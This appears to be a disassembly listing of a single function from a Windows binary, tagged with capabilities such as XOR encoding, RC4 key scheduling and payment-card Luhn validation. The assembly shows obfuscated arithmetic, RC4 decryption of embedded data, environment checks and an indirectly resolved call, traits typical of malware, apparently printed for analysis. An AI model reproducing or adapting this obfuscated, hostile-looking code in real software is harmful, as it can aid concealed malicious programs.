Function at 0x10008046
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
xor eax, eax
mov dword [ebp - 0x54], ecx
mov edx, 0x1c00
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0x1a
mov ecx, eax
mov dword [ebp - 0x24], 0x3c
mov dword [ebp - 0x20], 0x2a
mov dword [ebp - 0x1c], 0x177f
sub edx, dword [ebp + ecx*4 - 0x2c]
inc ecx
cmp ecx, 5
jl 0x1000807e
push esi
mov esi, dword [0x100268a4]
or esi, 0x3367dde2
mov dword [ebp - 0x4c], edx
push edi
cmp byte [str.RegKey1HKCUSoftwareBitberryBitZipperOpen], al
je 0x100080c1
inc eax
cmp eax, 0xb74
je 0x10008234
cmp byte [eax + str.RegKey1HKCUSoftwareBitberryBitZipperOpen], 0
jne 0x100080a1
cmp eax, 0x730
jg 0x10008244
and esi, 0x57eb1b7c
and esi, 0x521584e0
mov dword [ebp - 0x14], esi
mov dword [0x100268a4], esi
call fcn.10007e26
push 0x3f
pop esi
mov dword [ebp - 0x28], esi
xorps xmm1, xmm1
mov dword [ebp - 0x24], 0x24
xorps xmm2, xmm2
mov dword [ebp - 0x20], 0x1f
mov dword [ebp - 0x1c], 0x1b7e
movups xmm0, xmmword [ebp - 0x28]
mov dword [ebp - 0x44], 0x45
mov dword [ebp - 0x40], 0x3a
psubd xmm1, xmm0
mov dword [ebp - 0x3c], 0xffffff81
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x1e00
mov dword [ebp - 0x48], eax
xor eax, eax
mov edx, eax
mov ecx, eax
sub edx, dword [ebp + ecx*4 - 0x44]
inc ecx
cmp ecx, 3
jl 0x10008143
mov dword [ebp - 0x50], edx
mov ecx, eax
mov edx, esi
mov dword [ebp - 0x44], 0x2a
mov dword [ebp - 0x40], 0x47
mov dword [ebp - 0x3c], 0xffffff50
add edx, dword [ebp + ecx*4 - 0x44]
inc ecx
cmp ecx, 3
jl 0x10008169
mov esi, str.POLICYINFO
mov dword [ebp - 0x58], edx
lea edi, [ebp - 0x44]
mov dword [ebp - 0x38], 0x4a84a7e2
mov dword [ebp - 0x34], 0x5b8a13e8
mov ecx, eax
mov dword [ebp - 0x30], 0x549ac995
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2c], 0x9a1994bb
mov dword [ebp - 0x28], 0x2a6670ab
mov dword [ebp - 0x24], 0xd4869e4e
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x20], 0x285855b4
mov dword [ebp - 0x1c], 0xe22cc1ac
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x190], cl
inc ecx
cmp ecx, 0x100
jb 0x100081bf
mov esi, eax
xor edx, edx
mov dword [ebp - 8], 0xa
mov eax, esi
mov cl, byte [ebp + esi - 0x190]
div dword [ebp - 8]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x44]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x190]
mov byte [ebp + esi - 0x190], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x190], al
cmp esi, 0x100
jb 0x100081d1
xor eax, eax
mov edx, 0x120c
mov dword [ebp - 8], eax
mov ecx, str.RegKey1HKCUSoftwareBitberryBitZipperOpen
mov dword [ebp - 0xc], eax
movzx eax, byte [str.RegKey1HKCUSoftwareBitberryBitZipperOpen]
jmp 0x10008266
mov ecx, str.Mode_Info_Idx
call fcn.10007a58
sub esi, 0x3758bdba
call fcn.10007fa8
xor esi, 0x1b683796
jmp 0x100080c7
add edx, eax
inc ecx
cmp edx, 0x15c4
ja 0x100082fe
movzx eax, byte [ecx]
test eax, eax
jne 0x10008254
mov esi, dword [ebp - 0x14]
and esi, 0xf60829a9
mov edi, str.Mode_Info_Idx
or esi, 0x84082020
mov ecx, edi
mov dword [ebp - 0x14], esi
call fcn.10007a58
xor esi, esi
mov eax, dword [ebp - 0xc]
inc eax
movzx eax, al
mov dword [ebp - 0xc], eax
mov cl, byte [ebp + eax - 0x190]
mov eax, dword [ebp - 8]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0xc]
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x190]
mov byte [ebp + edx - 0x190], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x190], cl
mov eax, edx
movzx eax, byte [ebp + eax - 0x190]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + esi - 0x38]
mov byte [ebp + esi - 0x90], al
inc esi
cmp esi, 0x20
jb 0x1000828a
mov al, byte [str.Mode_Info_Idx]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov byte [ebp - 0x70], dl
jmp 0x10008315
mov esi, dword [ebp - 0x14]
xor esi, 0x32897537
jmp 0x1000826d
sub al, 0x30
cmp al, 9
ja 0x1000831b
inc edi
mov al, byte [edi]
test al, al
jne 0x1000830c
jmp 0x10008321
add esi, 0x20e5a7a6
imul esi, esi, 0x9660acf
mov dword [0x100268a4], esi
call fcn.10007e58
and esi, 0xbe52a79b
inc edx
cmp edx, 0x20
jb 0x10008332
mov dword [ebp - 0x28], 0x3f
movaps xmm1, xmm2
mov dword [ebp - 0x24], 0x4f
xor esi, 0x1084a00a
mov dword [ebp - 0x20], 0x54
mov ecx, str.read_only_file_system
mov dword [ebp - 0x1c], 0xfffffeff
movups xmm0, xmmword [ebp - 0x28]
mov dword [ebp - 0x28], 0x25
mov dword [ebp - 0x24], 0x2a
paddd xmm1, xmm0
mov dword [ebp - 0x20], 0x38
movaps xmm0, xmm1
mov dword [ebp - 0x1c], 0x3779
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [ebp - 0x28]
push 0x57
movd eax, xmm1
movaps xmm1, xmm2
psubd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
add eax, 0x1f
paddd xmm1, xmm0
mov dword [ebp - 0x64], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop edi
add eax, 0x3c00
or esi, 0x8b715eb4
mov dword [ebp - 0x60], eax
mov al, 0x72
sub al, 0x30
cmp al, 9
ja 0x100083f7
inc ecx
mov al, byte [ecx]
test al, al
jne 0x100083e8
jmp 0x100083fd
imul esi, esi, 0x25fde160
push ecx
call fcn.10007e8c
and esi, 0x97cceff9
mov dword [ebp - 0x40], 0x19
xor esi, 0xd2750f27
mov dword [ebp - 0x3c], 0x190
pop ecx
xor eax, eax
mov dword [ebp - 8], esi
mov ecx, eax
add edi, dword [ebp + ecx*4 - 0x40]
inc ecx
cmp ecx, 2
jl 0x10008425
mov dword [ebp - 0x28], 0x23
mov dword [ebp - 0x24], 0x3d
mov dword [ebp - 0x20], 0x55
mov dword [ebp - 0x1c], 0xffffff29
movups xmm0, xmmword [ebp - 0x28]
push 0xd
pop edx
paddd xmm2, xmm0
mov dword [ebp - 0x5c], edi
movaps xmm0, xmm2
mov dword [ebp - 0x40], 0x26
psrldq xmm0, 8
paddd xmm2, xmm0
mov dword [ebp - 0x3c], 0xffffffe3
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd ecx, xmm2
push 3
pop esi
add ecx, 0x22
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x68], ecx
mov ecx, eax
sub edx, dword [ebp + ecx*4 - 0x44]
inc ecx
cmp ecx, esi
jl 0x10008491
mov esi, str.HcL_0Hct_4H
mov dword [ebp - 0x6c], edx
lea edi, [ebp - 0x24]
mov dword [ebp - 0x14], 0x28bbf76d
push 0x72
mov byte [ebp - 0x10], 0xfe
mov ecx, 0x1b7a
movsd dword es:[edi], dword [esi]
mov edx, str.read_only_file_system
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
add ecx, esi
inc edx
cmp ecx, 0x17ca
ja 0x100084dd
movsx esi, byte [edx]
test esi, esi
jne 0x100084c0
mov ecx, dword [ebp - 8]
or ecx, 0xce629978
jmp 0x100084f3
call fcn.10007bd3
mov ecx, dword [ebp - 8]
and ecx, 0x1b402800
add ecx, 0x81630e31
xor eax, eax
cmp byte [str.Mode_Info_Idx], 0
lea esi, [ecx - 0x6ac72024]
mov dword [0x100268a4], esi
mov ecx, eax
mov dword [ebp - 0x18], eax
je 0x10008540
inc ecx
cmp ecx, 0x1baf
jg 0x10008529
cmp byte [ecx + str.Mode_Info_Idx], 0
jne 0x1000850d
cmp ecx, 0xbf7
jle 0x10008540
jmp 0x10008534
call fcn.10007e58
sub esi, 0x33dc913f
mov ecx, str.RegKey1HKCUSoftwareBitberryBitZipperOpen
call fcn.10007a58
xor eax, eax
or esi, 0x4b0534ac
mov ecx, eax
sub esi, 0x56f0a58b
mov dword [ebp - 0xc], esi
mov byte [ebp + ecx - 0x190], cl
inc ecx
cmp ecx, 0x100
jb 0x10008551
mov esi, dword [ebp - 0x18]
mov edi, eax
xor edx, edx
mov dword [ebp - 0x18], 0xb
mov eax, edi
mov cl, byte [ebp + edi - 0x190]
div dword [ebp - 0x18]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x24]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x190]
mov byte [ebp + edi - 0x190], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x190], al
cmp edi, 0x100
jb 0x10008566
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
and esi, 0x1bc08cf0
movzx eax, al
sub esi, 0x29d86d6b
mov dword [ebp - 0xc], eax
mov cl, byte [ebp + eax - 0x190]
mov eax, dword [ebp - 8]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 0xc]
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x190]
mov byte [ebp + edx - 0x190], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x190], cl
mov ecx, edx
movzx eax, byte [ebp + ecx - 0x190]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x190]
xor al, byte [ebp + edi - 0x14]
mov byte [ebp + edi - 0x40], al
inc edi
cmp edi, 5
jb 0x100085ba
push 0x73
mov ecx, str.selectFolder
pop edx
lea eax, [edx - 0x30]
cmp ax, 9
ja 0x10008647
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000862f
jmp 0x1000864d
and esi, 0x55033ee4
xor esi, 0x34dd1c9
mov dword [ebp - 0x24], 0x2a
xor eax, eax
mov dword [0x100268a4], esi
mov byte [ebp - 0x3b], al
mov ecx, 0x1482
mov dword [ebp - 0x20], 0x5e
mov dword [ebp - 0x1c], 0x129c
sub ecx, dword [ebp + eax*4 - 0x24]
inc eax
cmp eax, 3
jl 0x10008678
mov dword [ebp - 0x18], ecx
call fcn.1001adca
call fcn.100062d4
test eax, eax
jne 0x100087c4
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x4c]
call fcn.10013726
mov esi, eax
mov dword [ebp - 0xc], esi
call fcn.10003336
test eax, eax
jne 0x100087c4
call fcn.10005632
test eax, eax
jne 0x100087c4
cmp esi, dword [ebp - 0x50]
je 0x100087c4
call fcn.10005b3a
test eax, eax
jne 0x100087c4
mov ecx, dword [ebp - 0x54]
mov edx, esi
call fcn.1000c104
mov edi, eax
mov dword [ebp - 0x14], edi
call fcn.10002ecf
test eax, eax
jne 0x100087c4
mov ecx, edi
call fcn.10013726
mov edi, eax
cmp edi, dword [ebp - 0x58]
je 0x100087c4
imul edx, dword [0x100268a4], 0x84b728ee
mov ecx, 0x689
mov eax, str.x509v3_add_len_value
mov dword [ebp - 8], 0x78
mov dword [0x100268a4], edx
add ecx, dword [ebp - 8]
lea eax, [eax + 2]
mov esi, dword [ebp - 0xc]
cmp ecx, 0x10e9
ja 0x10008747
movzx esi, word [eax]
mov dword [ebp - 8], esi
test esi, esi
mov esi, dword [ebp - 0xc]
jne 0x10008727
jmp 0x10008752
call fcn.10007e58
imul edx, edx, 0xf77b1338
xor edx, 0xbd13cdba
imul eax, edx, 0x2562e578
push ecx
push ecx
mov dword [0x100268a4], eax
call fcn.10007d0d
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x90]
pop ecx
pop ecx
push edi
push ecx
push eax
mov ecx, esi
call fcn.10017e6a
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x60]
push eax
push dword [ebp - 0x64]
push esi
call fcn.10013d37
mov ecx, esi
call fcn.10013a66
mov ecx, edi
call fcn.1001527d
push dword [ebp - 0x14]
push dword [ebp - 0x68]
push edi
call fcn.10013d37
add esp, 0x24
mov ecx, edi
call fcn.10013a66
push dword [ebp - 0x18]
mov ecx, dword [ebp - 0x6c]
lea edx, [ebp - 0x40]
call fcn.1001adf3
call eax
pop edi
pop esi
leave
ret